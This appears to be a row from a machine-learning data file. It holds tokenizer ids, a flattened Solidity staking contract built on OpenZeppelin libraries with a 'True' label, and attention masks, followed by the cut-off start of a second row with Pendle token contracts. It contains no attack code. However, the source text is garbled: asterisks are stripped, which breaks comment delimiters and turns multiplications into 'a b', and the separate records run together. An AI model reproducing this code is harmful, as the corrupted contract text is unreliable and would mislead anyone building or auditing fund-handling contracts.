1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 4098, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1037, 1028, 1027, 1038, 1029, 1037, 1024, 1038, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 10479, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 8117, 1006, 21318, 3372, 17788, 2575, 1037, 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/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE / // File: @openzeppelin/contracts/math/Math.sol pragma solidity ^0.5.0; /* * @dev Standard math utilities missing in the Solidity language. / library Math { /* * @dev Returns the largest of two numbers. / function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /* * @dev Returns the smallest of two numbers. / function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /* * @dev Returns the average of two numbers. The result is rounded towards * zero. / function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.5.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/ownership/Ownable.sol pragma solidity ^0.5.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /* * @dev Returns true if the caller is the current owner. / function isOwner() public view returns (bool) { return _msgSender() == _owner; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). / function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.5.5; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * IMPORTANT: It is unsafe to assume that an address for which this * function returns false is an externally-owned account (EOA) and not a * contract. / function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } /* * @dev Converts an `address` into `address payable`. Note that this is * simply a type cast: the actual underlying value is not changed. * * _Available since v2.4.0._ / function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. * * _Available since v2.4.0._ / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.5.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/IRewardDistributionRecipient.sol pragma solidity ^0.5.0; contract IRewardDistributionRecipient is Ownable { address rewardDistribution; function notifyRewardAmount(uint256 reward, uint256 _duration) external; modifier onlyRewardDistribution() { require(_msgSender() == rewardDistribution, "Caller is not reward distribution"); _; } function setRewardDistribution(address _rewardDistribution) external onlyOwner { rewardDistribution = _rewardDistribution; } } pragma solidity ^0.5.0; contract LPTokenWrapper { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public lpToken; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor(address _lpToken) internal { lpToken = IERC20(_lpToken); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function stake(uint256 amount) public { _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); lpToken.safeTransferFrom(msg.sender, address(this), amount); } function withdraw(uint256 amount) public { _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); lpToken.safeTransfer(msg.sender, amount); } } contract StakingRewardsLock is LPTokenWrapper, IRewardDistributionRecipient { IERC20 public rewardToken; uint256 public duration = 7 days; / Fees breaker, to protect withdraws if anything ever goes wrong */ bool public breaker = false; mapping(address => uint) public stakeLock; // period that your sake it locked to keep it for staking uint public lock = 17280; // stake lock in blocks ~ 17280 3 days for 15s/block address public admin; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); constructor(address _lpToken, address _rewardToken) public LPTokenWrapper(_lpToken) { admin = msg.sender; rewardToken = IERC20(_rewardToken); } function setBreaker(bool _breaker) external { require(msg.sender == admin, "admin only"); breaker = _breaker; } function setLockTime(uint _lock) external { require(msg.sender == admin, "admin only"); lock = _lock; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function seize(IERC20 _token, uint amount) external { require(msg.sender == admin, "admin only"); require(_token != lpToken, "lpToken"); _token.safeTransfer(admin, amount); } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); super.stake(amount); stakeLock[msg.sender] = lock.add(block.number); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); if (breaker == false) { require(stakeLock[msg.sender] < block.number,"locked"); } super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; rewardToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function notifyRewardAmount(uint256 reward, uint256 _duration) external onlyRewardDistribution updateReward(address(0)) { require(_duration > 0, "Duration must not be 0"); duration = _duration.mul(1 days); if (block.timestamp >= periodFinish) { rewardRate = reward.div(duration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(duration); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(duration); require(rewardRate.mul(duration) <= rewardToken.balanceOf(address(this)), "Insufficient reward"); emit RewardAdded(reward); } }	True	[ 101, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1032, 1032, 1013, 1013, 1013, 1013, 1013, 1035, 1032, 1013, 1035, 1035, 1013, 1013, 1035, 1032, 1013, 1011, 1035, 1007, 1013, 1035, 1035, 1013, 1013, 1013, 1032, 1032, 1013, 1013, 1035, 1035, 1035, 1013, 1032, 1035, 1010, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1013, 1032, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1032, 1035, 1032, 1013, 1035, 1035, 1035, 1013, 1008, 1008, 9986, 2015, 1024, 16770, 1024, 1013, 1013, 9986, 2015, 1012, 24203, 20624, 2595, 1012, 22834, 1013, 1008, 1008, 1008, 10210, 6105, 1008, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1008, 1008, 9385, 1006, 1039, 1007, 12609, 24203, 20624, 2595, 1008, 1008, 6656, 2003, 2182, 3762, 4379, 1010, 2489, 1997, 3715, 1010, 2000, 2151, 2711, 11381, 1037, 6100, 1008, 1997, 2023, 4007, 1998, 3378, 12653, 6764, 1006, 1996, 1000, 4007, 1000, 1007, 1010, 2000, 3066, 1008, 1999, 1996, 4007, 2302, 16840, 1010, 2164, 2302, 22718, 1996, 2916, 1008, 2000, 2224, 1010, 6100, 1010, 19933, 1010, 13590, 1010, 10172, 1010, 16062, 1010, 4942, 13231, 12325, 1010, 1998, 1013, 2030, 5271, 1008, 4809, 1997, 1996, 4007, 1010, 1998, 2000, 9146, 5381, 2000, 3183, 1996, 4007, 2003, 1008, 19851, 2000, 2079, 2061, 1010, 3395, 2000, 1996, 2206, 3785, 1024, 1008, 1008, 1996, 2682, 9385, 5060, 1998, 2023, 6656, 5060, 4618, 2022, 2443, 1999, 2035, 1008, 4809, 2030, 6937, 8810, 1997, 1996, 4007, 1012, 1008, 1008, 1996, 4007, 2003, 3024, 1000, 2004, 2003, 1000, 1010, 2302, 10943, 2100, 1997, 2151, 2785, 1010, 4671, 2030, 1008, 13339, 1010, 2164, 2021, 2025, 3132, 2000, 1996, 10943, 3111, 1997, 6432, 8010, 1010, 1008, 10516, 2005, 1037, 3327, 3800, 1998, 2512, 2378, 19699, 23496, 3672, 1012, 1999, 2053, 2724, 4618, 1996, 1008, 6048, 2030, 9385, 13304, 2022, 20090, 2005, 2151, 4366, 1010, 12394, 2030, 2060, 1008, 14000, 1010, 3251, 1999, 2019, 2895, 1997, 3206, 1010, 17153, 2102, 2030, 4728, 1010, 17707, 2013, 1010, 1008, 2041, 1997, 2030, 1999, 4434, 2007, 1996, 4007, 2030, 1996, 2224, 2030, 2060, 24069, 1999, 1996, 1008, 1013, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3115, 8785, 16548, 4394, 1999, 1996, 5024, 3012, 2653, 1012, 1008, 1013, 3075, 8785, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 2922, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 4098, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 1037, 1028, 1027, 1038, 1029, 1037, 1024, 1038, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 10479, 1997, 2048, 3616, 1012, 1008, 1013, 3853, 8117, 1006, 21318, 3372, 17788, 2575, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "./PendleBaseToken.sol"; import "../interfaces/IPendleYieldTokenCommon.sol"; import "../interfaces/IPendleForge.sol"; contract PendleOwnershipToken is PendleBaseToken, IPendleYieldTokenCommon { address public immutable override forge; address public immutable override underlyingAsset; address public immutable override underlyingYieldToken; constructor( address _router, address _forge, address _underlyingAsset, address _underlyingYieldToken, string memory _name, string memory _symbol, uint8 _underlyingYieldTokenDecimals, uint256 _start, uint256 _expiry ) PendleBaseToken(_router, _name, _symbol, _underlyingYieldTokenDecimals, _start, _expiry) { require( _underlyingAsset != address(0) && _underlyingYieldToken != address(0), "ZERO_ADDRESS" ); require(_forge != address(0), "ZERO_ADDRESS"); forge = _forge; underlyingAsset = _underlyingAsset; underlyingYieldToken = _underlyingYieldToken; } modifier onlyForge() { require(msg.sender == address(forge), "ONLY_FORGE"); _; } /** * @dev Burns OT or XYT tokens from user, reducing the total supply. * @param user The address performing the burn. * @param amount The amount to be burned. / function burn(address user, uint256 amount) public override onlyForge { _burn(user, amount); emit Burn(user, amount); } / * @dev Mints new OT or XYT tokens for user, increasing the total supply. * @param user The address to send the minted tokens. * @param amount The amount to be minted. / function mint(address user, uint256 amount) public override onlyForge { _mint(user, amount); emit Mint(user, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { super._beforeTokenTransfer(from, to, amount); if (from != address(0)) IPendleForge(forge).updatePendingRewards(underlyingAsset, expiry, from); if (to != address(0)) IPendleForge(forge).updatePendingRewards(underlyingAsset, expiry, to); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "../interfaces/IPendleBaseToken.sol"; import "../interfaces/IPendleRouter.sol"; / * @title PendleBaseToken * @dev The contract implements the standard ERC20 functions, plus some * Pendle specific fields and functions, namely: * - expiry * * This abstract contract is inherited by PendleFutureYieldToken * and PendleOwnershipToken contracts. */ abstract contract PendleBaseToken is ERC20 { using SafeMath for uint256; uint256 public immutable start; uint256 public immutable expiry; IPendleRouter public immutable router; //// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol bytes32 public immutable DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint256) public nonces; //// End of EIP-2612 related part constructor( address _router, string memory _name, string memory _symbol, uint8 _decimals, uint256 _start, uint256 _expiry ) ERC20(_name, _symbol) { _setupDecimals(_decimals); start = _start; expiry = _expiry; router = IPendleRouter(_router); //// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol, except for the noted parts below uint256 chainId; assembly { chainId := chainid() // chainid() is a function in assembly in this solidity version } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(_name)), // use our own _name here keccak256(bytes("1")), chainId, address(this) ) ); //// End of EIP-2612 related part } //// Start of EIP-2612 related part, exactly the same as UniswapV2ERC20.sol function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { require(deadline >= block.timestamp, "PERMIT_EXPIRED"); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR, keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline ) ) ) ); address recoveredAddress = ECDSA.recover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNATURE"); _approve(owner, spender, value); } //// End of EIP-2612 related part function _beforeTokenTransfer( address from, address to, uint256 ) internal virtual override { 